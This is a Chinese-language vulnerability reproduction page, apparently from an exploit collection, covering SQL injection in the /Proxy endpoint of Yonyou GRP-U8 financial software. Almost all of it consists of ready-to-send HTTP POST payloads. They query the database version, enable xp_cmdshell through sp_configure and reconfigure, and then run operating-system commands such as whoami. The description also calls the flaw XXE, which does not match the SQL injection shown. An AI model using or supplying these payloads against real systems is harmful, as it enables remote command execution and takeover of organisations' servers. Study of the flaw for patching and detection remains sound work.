# 用友 GRP-U8 Proxy SQL注入 CNNVD-201610-923

# 漏洞描述

用友GRP-u8存在XXE漏洞,该漏洞源于应用程序解析XML输入时没有进制外部实体的加载,导致可加载外部SQL语句,以及命令执行

# 影响版本


# 网络测绘


# 漏洞复现

漏洞利用POC请求包

POST /Proxy HTTP/1.1
Accept: Accept: */*
Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;) Host: host
Content-Length: 357
Connection: Keep-Alive
Cache-Control: no-cache


cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select @@version</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>
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请求后按F12查看源代码可以得到SQL语句查询结果

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也可以调用 xp_cmdshell 来执行系统命令(大部分此系统为windows)

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可以使用如下方法打开xp_cmdshell方法

将如下POST数据按顺序发送(注意 master 改为当前数据库名)

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">use master</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
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cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'show advanced options',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
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cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
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cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec sp_configure 'xp_cmdshell',1</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
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cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">reconfigure</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
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再发送以下数据可成功使用(也可能失败)

cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell "whoami"</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>
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发送请求后再使用此模块则会成功请求执行系统命令